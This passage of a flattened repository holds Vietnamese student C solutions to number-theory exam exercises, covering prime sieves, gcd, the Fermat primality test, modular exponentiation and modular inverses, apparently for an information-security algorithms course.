printf("Nhap C: "); 21 | scanf("%d", &C); 22 | printf("Nhap m: "); 23 | scanf("%d", &m); 24 | do{ 25 | printf("Nhap l: "); 26 | scanf("%d", &l); 27 | }while(l <= m); 28 | printf("\nA * x ^ 2 + B * x + C = res"); 29 | printf("\nKQ: Voi x = { "); 30 | for(int i = m; i <= l ; i++){ 31 | res = A * (int)pow(i, 2) + B * i + C; 32 | if(isSNT(res) == 1){ 33 | printf("%d, ", i); 34 | } 35 | } 36 | printf("} thi res la SNT"); 37 | getch(); 38 | return 0; 39 | } 40 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void sangNguyenThuy(int sang[], int n) { 6 | for(int i = 2; i <= n; i++) { 7 | sang[i] = 1; 8 | } 9 | for(int i = 2; i * i <= n; i++) { 10 | if(sang[i] == 1) { 11 | for(int j = i + i; j <= n; j += i) 12 | sang[j] = 0; 13 | } 14 | } 15 | } 16 | 17 | void inSNT(int sang[], int min, int max){ 18 | printf("\nKQ: "); 19 | for(int i = min; i < max; i++) { 20 | if(sang[i] == 1) 21 | printf("%d ", i); 22 | } 23 | } 24 | 25 | //Nhập n từ 2 đến 5 thôi nếu cô hỏi thì bảo n >= 6 thì bộ nhớ không cung cấp được 26 | 27 | int main(){ 28 | int n; 29 | printf("Nhap n (So chu so cua SNT can tim): "); 30 | scanf("%d", &n); 31 | int min = n < 2 ? 2 : (int)pow(10, n - 1); 32 | int max = (int)pow(10, n); 33 | int sang[max]; 34 | sangNguyenThuy(sang, max); 35 | inSNT(sang, min, max); 36 | getch(); 37 | return 0; 38 | } 39 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau20.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int gcd(int a, int b){ 5 | int A = a, B = b; 6 | while(B > 0){ 7 | int R = A % B; 8 | A = B; 9 | B = R; 10 | } 11 | return A; 12 | } 13 | 14 | int main(){ 15 | int M, N, D; 16 | do{ 17 | printf("Nhap M: "); 18 | scanf("%d", &M); 19 | }while(M < 0 || M > 1000); 20 | do{ 21 | printf("Nhap N: "); 22 | scanf("%d", &N); 23 | }while((N < 0 || N > 1000) || N <= M); 24 | do{ 25 | printf("Nhap D: "); 26 | scanf("%d", &D); 27 | }while(D < 0 || D > 1000); 28 | printf("\nKQ: Cac cap so (A, B) la:\n"); 29 | for(int i = M; i < N - 1; i++){ 30 | for(int j = i + 1; j < N; j++){ 31 | if(gcd(i, j) == D) printf("(%d, %d), ", i, j); 32 | } 33 | } 34 | getch(); 35 | return 0; 36 | } 37 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau21.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void sangNguyenThuy(int sang[], int n){ 5 | sang[0] = 0; 6 | sang[1] = 0; 7 | for(int i = 2; i <= n; i++) { 8 | sang[i] = 1; 9 | } 10 | for(int i = 2; i * i <= n; i++) { 11 | if(sang[i] == 1) { 12 | for(int j = i + i; j <= n; j += i) 13 | sang[j] = 0; 14 | } 15 | } 16 | } 17 | 18 | int demSoNgTo(int sang[], int n){ 19 | int count = 0; 20 | for(int i = 2; i < n; i++){ 21 | if(sang[i] == 1) count++; 22 | } 23 | return count; 24 | } 25 | 26 | int main(){ 27 | int A, B; 28 | printf("Nhap A: "); 29 | scanf("%d", &A); 30 | do{ 31 | printf("Nhap B: "); 32 | scanf("%d", &B); 33 | }while(B <= A); 34 | int sang[B+1]; 35 | sangNguyenThuy(sang, B); 36 | printf("\nKQ: "); 37 | for(int i = A; i <= B; i++){ 38 | if(sang[demSoNgTo(sang, i)] == 1) printf("%d, ", i); 39 | } 40 | getch(); 41 | return 0; 42 | } 43 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau22.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void sangNguyenThuy(int sang[], int n){ 5 | sang[0] = 0; 6 | sang[1] = 0; 7 | for(int i = 2; i <= n; i++) { 8 | sang[i] = 1; 9 | } 10 | for(int i = 2; i * i <= n; i++) { 11 | if(sang[i] == 1) { 12 | for(int j = i + i; j <= n; j += i) 13 | sang[j] = 0; 14 | } 15 | } 16 | } 17 | 18 | int main(){ 19 | int L, R; 20 | printf("Nhap L: "); 21 | scanf("%d", &L); 22 | do{ 23 | printf("Nhap R: "); 24 | scanf("%d", &R); 25 | }while(R <= L); 26 | int sang[R+1]; 27 | sangNguyenThuy(sang, R); 28 | printf("\nKQ: Cac gia tri cua cap F(i) * F(j) la:\n"); 29 | for(int i = L; i < R; i++){ 30 | int fi = sang[i] == 1 ? i : 0; 31 | for(int j = i + 1; j <= R; j++){ 32 | int fj = sang[j] == 1 ? j : 0; 33 | printf("F(%d) * F(%d) = %d\n", i, j, fi * fj); 34 | } 35 | } 36 | getch(); 37 | return 0; 38 | } 39 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau23.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int isSNT(int n){ 5 | if(n < 2) return 0; 6 | for(int i = 2; i * i <= n; i++){ 7 | if(n % i == 0) return 0; 8 | } 9 | return 1; 10 | } 11 | 12 | void sangNguyenThuy(int sang[], int n){ 13 | sang[0] = 0; 14 | sang[1] = 0; 15 | for(int i = 2; i <= n; i++) { 16 | sang[i] = 1; 17 | } 18 | for(int i = 2; i * i <= n; i++) { 19 | if(sang[i] == 1) { 20 | for(int j = i + i; j <= n; j += i) 21 | sang[j] = 0; 22 | } 23 | } 24 | } 25 | 26 | int tongSNT(int sang[], int min, int max){ 27 | int total = 0; 28 | for(int i = min; i <= max; i++) { 29 | if(i >= 2 && sang[i] == 1) total += i; 30 | } 31 | return total; 32 | } 33 | 34 | int main(){ 35 | int A, B; 36 | printf("Nhap A: "); 37 | scanf("%d", &A); 38 | do{ 39 | printf("Nhap B: "); 40 | scanf("%d", &B); 41 | }while(B <= A); 42 | int sang[B+1]; 43 | sangNguyenThuy(sang, B); 44 | int total = tongSNT(sang, A, B); 45 | printf("\nKQ: Tong = %d", total); 46 | if(isSNT(total) == 1) printf("\nKQ: YES"); 47 | else printf("\nKQ: NO"); 48 | 49 | getch(); 50 | return 0; 51 | } 52 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau25.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void sangNguyenThuy(int sang[], int n) { 6 | for(int i = 2; i <= n; i++) { 7 | sang[i] = 1; 8 | } 9 | for(int i = 2; i * i <= n; i++) { 10 | if(sang[i] == 1) { 11 | for(int j = i + i; j <= n; j += i) 12 | sang[j] = 0; 13 | } 14 | } 15 | } 16 | 17 | int tongSNT(int sang[], int soLuong){ 18 | int total = 0, check = 0; 19 | for(int i = 2; ; i++) { 20 | if(sang[i] == 1){ 21 | total += i; 22 | check++; 23 | if(check == soLuong) break; 24 | } 25 | } 26 | return total; 27 | } 28 | 29 | int main(){ 30 | int N, M; 31 | printf("Nhap N: "); 32 | scanf("%d", &N); 33 | printf("Nhap M: "); 34 | scanf("%d", &M); 35 | int sang[N+1]; 36 | sangNguyenThuy(sang, N); 37 | int total = tongSNT(sang, M); 38 | printf("\nTong = %d", total); 39 | if(total == N){ 40 | printf("\nKQ: Thoa Man\n"); 41 | int check = 0; 42 | for(int i = 2; ; i++){ 43 | if(sang[i] == 1){ 44 | printf("%d ", i); 45 | check++; 46 | if(check == M) break; 47 | } 48 | } 49 | } else { 50 | printf("\nKQ: Khong thoa man."); 51 | } 52 | getch(); 53 | return 0; 54 | } 55 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau26.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void sangNguyenThuy(int sang[], int n) { 6 | for(int i = 2; i <= n; i++) { 7 | sang[i] = 1; 8 | } 9 | for(int i = 2; i * i <= n; i++) { 10 | if(sang[i] == 1) { 11 | for(int j = i + i; j <= n; j += i) 12 | sang[j] = 0; 13 | } 14 | } 15 | } 16 | 17 | void inSoManhMe(int sang[], int n){ 18 | for(int i = 2; i * i <= n; i++) { 19 | if(sang[i] == 1) { 20 | int j = i * i; 21 | if(j <= n){ 22 | printf("\nSo manh me voi %d la: ", i); 23 | } 24 | for(int k = 1; j * k <= n; k++){ 25 | printf("%d, ", j * k); 26 | } 27 | } 28 | } 29 | } 30 | 31 | int main(){ 32 | int N; 33 | printf("Nhap N: "); 34 | scanf("%d", &N); 35 | int sang[N+1]; 36 | sangNguyenThuy(sang, N); 37 | inSoManhMe(sang, N); 38 | getch(); 39 | return 0; 40 | } 41 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau27.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int gcd(int a, int b){ 6 | int A = a, B = b; 7 | while(B > 0){ 8 | int R = A % B; 9 | A = B; 10 | B = R; 11 | } 12 | return A; 13 | } 14 | 15 | void sangNguyenThuy(int sang[], int n) { 16 | sang[0] = 0; 17 | sang[1] = 0; 18 | for(int i = 2; i <= n; i++) { 19 | sang[i] = 1; 20 | } 21 | for(int i = 2; i * i <= n; i++) { 22 | if(sang[i] == 1) { 23 | for(int j = i + i; j <= n; j += i) 24 | sang[j] = 0; 25 | } 26 | } 27 | } 28 | 29 | int main(){ 30 | int a, b, sang[1000]; 31 | sangNguyenThuy(sang, 1000); 32 | printf("\nKQ: Cap (a, b) la: \n"); 33 | for(int i = 1; i < 999; i++){ 34 | for(int j = i + 1; j < 1000; j++){ 35 | if(sang[gcd(i, j)] == 1) printf("(%d, %d), ", i, j); 36 | } 37 | } 38 | getch(); 39 | return 0; 40 | } 41 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int isSNT(int n){ 6 | if(n < 2) return 0; 7 | for(int i = 2; i * i <= n; i++){ 8 | if(n % i == 0) return 0; 9 | } 10 | return 1; 11 | } 12 | 13 | int main(){ 14 | int N, k = 0, q = 0, p = 0, s = 0; 15 | printf("Nhap N: "); 16 | scanf("%d", &N); 17 | for(int i = 1; i <= N; i++){ 18 | if(N % i == 0){ 19 | p += i; 20 | s++; 21 | if(isSNT(i) == 1){ 22 | q += i; 23 | k++; 24 | } 25 | } 26 | } 27 | int result = N + p + s - q - k; 28 | printf("\nKQ: %d", result); 29 | getch(); 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau34.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int nhanBinhPhuongCoLap(int a, int k, int n){ 7 | long long b = 1; 8 | if(k == 0) { 9 | return (int)b; 10 | } 11 | long long A = a; 12 | int t = k % 2; 13 | k = k / 2; 14 | if(t == 1){ 15 | b = a; 16 | } 17 | for(int i = k; k > 0; k = k / 2){ 18 | A = (A * A) % n; 19 | t = k % 2; 20 | if(t == 1){ 21 | b = (A * b) % n; 22 | } 23 | } 24 | return (int)b; 25 | } 26 | 27 | int isSNT(int n){ 28 | int t = 5; 29 | int a[t]; 30 | for(int i = 0; i < t; i++){ 31 | a[i] = 2 + rand() % (n - 2 + 1 - 2); 32 | } 33 | for(int i = 0; i < t; i++){ 34 | int r = nhanBinhPhuongCoLap(a[i], n-1, n); 35 | if(r != 1){ 36 | return 0; 37 | } 38 | } 39 | return 1; 40 | } 41 | 42 | int main(){ 43 | int n, t=5; 44 | printf("Nhap n: "); 45 | scanf("%d", &n); 46 | if(isSNT(n) == 1){ 47 | printf("\nKQ:-> Nguyen to"); 48 | } else { 49 | printf("\nKQ:-> Hop so"); 50 | } 51 | getch(); 52 | return 0; 53 | } 54 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau38.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void xuLy(int a, int p){ 6 | int u = a, v = p, x1 = 1, x2 = 0, q, r, x; 7 | while(u != 1) { 8 | q = v / u; 9 | r = v - q * u; 10 | x = x2 - q * x1; 11 | // 12 | v = u; 13 | u = r; 14 | x2 = x1; 15 | x1 = x; 16 | } 17 | if(x1 < 0) { 18 | x1 = x1 + p; 19 | } 20 | printf("\n%d ^ -1 mod %d = %d", a, p, x1); 21 | } 22 | 23 | int main(){ 24 | int a, p; 25 | printf("Nhap a: "); 26 | scanf("%d", &a); 27 | printf("\nNhap p: "); 28 | scanf("%d", &p); 29 | xuLy(a, p); 30 | getch(); 31 | return 0; 32 | } 33 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau39.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int isSNT(int n){ 6 | if(n < 2) return 0; 7 | for(int i = 2; i * i <= n; i++){ 8 | if(n % i == 0) return 0; 9 | } 10 | return 1; 11 | } 12 | 13 | int gcd(int a, int b){ 14 | int A = a, B = b; 15 | while(B > 0){ 16 | int R = A % B; 17 | A = B; 18 | B = R; 19 | } 20 | return A; 21 | } 22 | 23 | void xuLy(int a[], int n){ 24 | int check = 0; 25 | printf("\nKQ:\n"); 26 | for(int i = 0; i < n - 1; i++){ 27 | for(int j = i + 1; j < n; j++){ 28 | if(isSNT(gcd(a[i], a[j])) == 1){ 29 | printf("(%d, %d)\n", a[i], a[j]); 30 | check = 1; 31 | } 32 | } 33 | } 34 | if(check == 0) printf("Khong co cap nao thoa man"); 35 | } 36 | 37 | int main(){ 38 | int n; 39 | printf("Nhap do dai cua mang a: "); 40 | scanf("%d", &n); 41 | int a[n]; 42 | for(int i = 0; i < n; i++){ 43 | printf("Nhap a[%d]: ", i); 44 | scanf("%d", &a[i]); 45 | while(a[i] < 0){ 46 | printf("Xin hay nhap lai a[%d]: ", i); 47 | scanf("%d", &a[i]); 48 | } 49 | } 50 | xuLy(a, n); 51 | getch(); 52 | return 0; 53 | } 54 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau4.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void sangNguyenThuy(int sang[], int n) { 6 | for(int i = 2; i <= n; i++) { 7 | sang[i] = 1; 8 | } 9 | for(int i = 2; i * i <= n; i++) { 10 | if(sang[i] == 1) { 11 | for(int j = i + i; j <= n; j += i) 12 | sang[j] = 0; 13 | } 14 | } 15 | } 16 | 17 | int demSNT(int sang[], int min, int max){ 18 | int count = 0; 19 | for(int i = min; i <= max; i++) { 20 | if(i >= 2 && sang[i] == 1) count++; 21 | } 22 | return count; 23 | } 24 | 25 | int main(){ 26 | int A, B; 27 | printf("Nhap A: "); 28 | scanf("%d", &A); 29 | do{ 30 | printf("Nhap B: "); 31 | scanf("%d", &B); 32 | }while(B <= A);//khi nhập B <= A sẽ bắt nhập lại 33 | int sang[B+1]; 34 | sangNguyenThuy(sang, B); 35 | int count = demSNT(sang, A, B); 36 | printf("\nKQ: Co %d SNT", count); 37 | getch(); 38 | return 0; 39 | } 40 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau40.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int isSNT(int n){ 6 | if(n < 2) return 0; 7 | for(int i = 2; i * i <= n; i++){ 8 | if(n % i == 0) return 0; 9 | } 10 | return 1; 11 | } 12 | 13 | int gcd(int a, int b){ 14 | int A = a, B = b; 15 | while(B > 0){ 16 | int R = A % B; 17 | A = B; 18 | B = R; 19 | } 20 | return A; 21 | } 22 | 23 | void xuLy(int a[], int n){ 24 | int count = 0; 25 | printf("\nKQ: "); 26 | for(int i = 0; i < n - 1; i++){ 27 | for(int j = i + 1; j < n; j++){ 28 | if(isSNT(gcd(a[i], a[j])) == 1){ 29 | count++; 30 | } 31 | } 32 | } 33 | if(count == 0) printf("Khong co cap nao thoa man"); 34 | else printf("Co %d cap thoa man", count); 35 | } 36 | 37 | int main(){ 38 | int n; 39 | printf("Nhap do dai cua mang a: "); 40 | scanf("%d", &n); 41 | int a[n]; 42 | for(int i = 0; i < n; i++){ 43 | printf("Nhap a[%d]: ", i); 44 | scanf("%d", &a[i]); 45 | while(a[i] < 0){ 46 | printf("Xin hay nhap lai a[%d]: ", i); 47 | scanf("%d", &a[i]); 48 | } 49 | } 50 | xuLy(a, n); 51 | getch(); 52 | return 0; 53 | } 54 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau41.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int isSNT(int n){ 6 | if(n < 2) return 0; 7 | for(int i = 2; i * i <= n; i++){ 8 | if(n % i == 0) return 0; 9 | } 10 | return 1; 11 | } 12 | 13 | int nhanBinhPhuongCoLap(int a, int k, int n){ 14 | long long b = 1; 15 | if(k == 0) { 16 | return (int)b; 17 | } else if(k == 1){ 18 | return a % n; 19 | } 20 | long long A = a; 21 | int t = k % 2; 22 | k = k / 2; 23 | if(t == 1){ 24 | b = a; 25 | } 26 | for(int i = k; k > 0; k = k / 2){ 27 | A = (A * A) % n; 28 | t = k % 2; 29 | if(t == 1){ 30 | b = (A * b) % n; 31 | } 32 | } 33 | return (int)b; 34 | } 35 | 36 | int main(){ 37 | int a, k, n; 38 | printf("Nhap a: "); 39 | scanf("%d", &a); 40 | printf("Nhap k: "); 41 | scanf("%d", &k); 42 | printf("Nhap n: "); 43 | scanf("%d", &n); 44 | int result = nhanBinhPhuongCoLap(a, k, n); 45 | if(isSNT(result) == 1){ 46 | printf("KQ: a ^ k mod n = %d la SNT", result); 47 | } else { 48 | printf("KQ: a ^ k mod n = %d khong la SNT", result); 49 | } 50 | getch(); 51 | return 0; 52 | } 53 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau42.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int isSNT(int n){ 8 | if(n < 2) return 0; 9 | for(int i = 2; i * i <= n; i++){ 10 | if(n % i == 0) return 0; 11 | } 12 | return 1; 13 | } 14 | 15 | int nhanBinhPhuongCoLap(int a, int k, int n){ 16 | long long b = 1; 17 | if(k == 0) { 18 | return (int)b; 19 | } else if(k == 1){ 20 | return a % n; 21 | } 22 | long long A = a; 23 | int t = k % 2; 24 | k = k / 2; 25 | if(t == 1){ 26 | b = a; 27 | } 28 | for(int i = k; k > 0; k = k / 2){ 29 | A = (A * A) % n; 30 | t = k % 2; 31 | if(t == 1){ 32 | b = (A * b) % n; 33 | } 34 | } 35 | return (int)b; 36 | } 37 | 38 | int main(){ 39 | int p, q; 40 | srand((int) time(0)); 41 | do{ 42 | p = 1 + rand() % (1000 + 1 - 1); 43 | } while (isSNT(p) != 1); 44 | do{ 45 | q = 1 + rand() % (1000 + 1 - 1); 46 | } while (isSNT(q) != 1); 47 | printf("\np = %d ", p); 48 | printf("\nq = %d ", q); 49 | printf("\nKQ: "); 50 | for(int a = 1; a < 100; a++){ 51 | if(isSNT(nhanBinhPhuongCoLap(a, p, q)) == 1 ) printf("%d, ", a); 52 | } 53 | getch(); 54 | return 0; 55 | } -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau44.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int nghichdao(int a, int p){ 6 | int u = a, v = p, x1 = 1, x2 = 0, q, r, x; 7 | while(u != 1) { 8 | q = v / u; 9 | r = v - q * u; 10 | x = x2 - q * x1; 11 | // 12 | v = u; 13 | u = r; 14 | x2 = x1; 15 | x1 = x; 16 | } 17 | if(x1 < 0) { 18 | x1 = x1 + p; 19 | } 20 | return x1; 21 | } 22 | 23 | int main(){ 24 | int n, p = 2147483647; 25 | printf("Nhap do dai cua mang a: "); 26 | scanf("%d", &n); 27 | int a[n], b[n]; 28 | for(int i = 0; i < n; i++){ 29 | printf("Nhap a[%d]: ", i); 30 | scanf("%d", &a[i]); 31 | while(a[i] <= 0 || a[i] >= p){ 32 | printf("Nhap lai a[%d] lon hon 0 va nho hon p: ", i); 33 | scanf("%d", &a[i]); 34 | } 35 | } 36 | for(int i = 0; i < n; i++){ 37 | b[i] = nghichdao(a[i], p); 38 | } 39 | printf("\nKQ: Mang b nghich dao tuong ung mang a la: \n[ "); 40 | for(int i = 0; i < n; i++){ 41 | if(i != n - 1) printf("%d, ", b[i]); 42 | else printf("%d]", b[i]); 43 | } 44 | getch(); 45 | return 0; 46 | } 47 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau5.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void sangNguyenThuy(int sang[], int n) { 6 | for(int i = 2; i <= n; i++) { 7 | sang[i] = 1; 8 | } 9 | for(int i = 2; i * i <= n; i++) { 10 | if(sang[i] == 1) { 11 | for(int j = i + i; j <= n; j += i) 12 | sang[j] = 0; 13 | } 14 | } 15 | } 16 | 17 | int tongSNT(int sang[], int min, int max){ 18 | int total = 0; 19 | for(int i = min; i <= max; i++) { 20 | if(i >= 2 && sang[i] == 1) total += i; 21 | } 22 | return total; 23 | } 24 | 25 | int main(){ 26 | int A, B; 27 | printf("Nhap A: "); 28 | scanf("%d", &A); 29 | do{ 30 | printf("Nhap B: "); 31 | scanf("%d", &B); 32 | }while(B <= A); 33 | int sang[B+1]; 34 | sangNguyenThuy(sang, B); 35 | int total = tongSNT(sang, A, B); 36 | printf("\nKQ: Tong = %d", total); 37 | getch(); 38 | return 0; 39 | } -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int tongSoUoc(int n){ 6 | int total = 0; 7 | for(int i = 1; i <= n; i++){ 8 | if(n % i == 0){ 9 | total += i; 10 | } 11 | } 12 | return total; 13 | } 14 | 15 | 16 | int main(){ 17 | int n; 18 | printf("Nhap n: "); 19 | scanf("%d", &n); 20 | int check[3*n]; 21 | for(int i = 1; i < 3 * n; i++){ 22 | check[i] = 0; 23 | } 24 | for(int i = n - 1; i >= 1; i--){ 25 | int res = tongSoUoc(i) - i; 26 | if(check[res]){ 27 | printf("\nKQ: Do la 2 so %d va %d", i, check[res]); 28 | break; 29 | } 30 | check[res] = i; 31 | } 32 | getch(); 33 | return 0; 34 | } -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau7.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int isSNT(int n){ 6 | if(n < 2) return 0; 7 | for(int i = 2; i * i <= n; i++){ 8 | if(n % i == 0) return 0; 9 | } 10 | return 1; 11 | } 12 | 13 | int daoNguocSo(int n){ 14 | int res = 0, tmp; 15 | while(n > 0){ 16 | tmp = n % 10; 17 | res = res * 10 + tmp; 18 | n = n / 10; 19 | } 20 | return res; 21 | } 22 | 23 | void sangNguyenThuy(int sang[], int n) { 24 | for(int i = 2; i <= n; i++) { 25 | sang[i] = 1; 26 | } 27 | for(int i = 2; i * i <= n; i++) { 28 | if(sang[i] == 1) { 29 | for(int j = i + i; j <= n; j += i) 30 | sang[j] = 0; 31 | } 32 | } 33 | } 34 | 35 | void inSoEmirp(int sang[], int n){ 36 | printf("\nKQ: "); 37 | for(int i = 2; i < n; i++){ 38 | int iDaoNguoc = daoNguocSo(i); 39 | if(sang[i] == 1 && isSNT(iDaoNguoc) == 1) printf("%d ", i); 40 | } 41 | } 42 | 43 | 44 | int main(){ 45 | int N; 46 | printf("Nhap N: "); 47 | scanf("%d", &N); 48 | int sang[N+1]; 49 | sangNguyenThuy(sang, N); 50 | inSoEmirp(sang, N); 51 | getch(); 52 | return 0; 53 | } -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau8.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int isTprime(int n){ 6 | int soUoc = 0; 7 | for(int i = 1; i <= n; i++){ 8 | if(n % i == 0){ 9 | soUoc++; 10 | if(soUoc > 3) return 0; 11 | } 12 | } 13 | if(soUoc == 3) return 1; 14 | else return 0; 15 | } 16 | 17 | void inSoTprime(int n){ 18 | printf("\nKQ: "); 19 | for(int i = 2; i <= n; i++){ 20 | if(isTprime(i) == 1) printf("%d ", i); 21 | } 22 | } 23 | 24 | int main(){ 25 | int n; 26 | printf("Nhap n: "); 27 | scanf("%d", &n); 28 | inSoTprime(n); 29 | getch(); 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau9.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void sangNguyenThuy(int sang[], int n) { 6 | for(int i = 2; i <= n; i++) { 7 | sang[i] = 1; 8 | } 9 | for(int i = 2; i * i <= n; i++) { 10 | if(sang[i] == 1) { 11 | for(int j = i + i; j <= n; j += i) 12 | sang[j] = 0; 13 | } 14 | } 15 | } 16 | 17 | int demSNT(int sang[], int n){ 18 | int count = 0; 19 | for(int i = 2; i <= n; i++) { 20 | if(sang[i] == 1) count++; 21 | } 22 | return count; 23 | } 24 | 25 | int main(){ 26 | int N; 27 | printf("Nhap N: "); 28 | scanf("%d", &N); 29 | int sang[N+1]; 30 | sangNguyenThuy(sang, N); 31 | int count = demSNT(sang, N); 32 | printf("\nKQ: Co %d SNT", count); 33 | getch(); 34 | return 0; 35 | } 36 | --------------------------------------------------------------------------------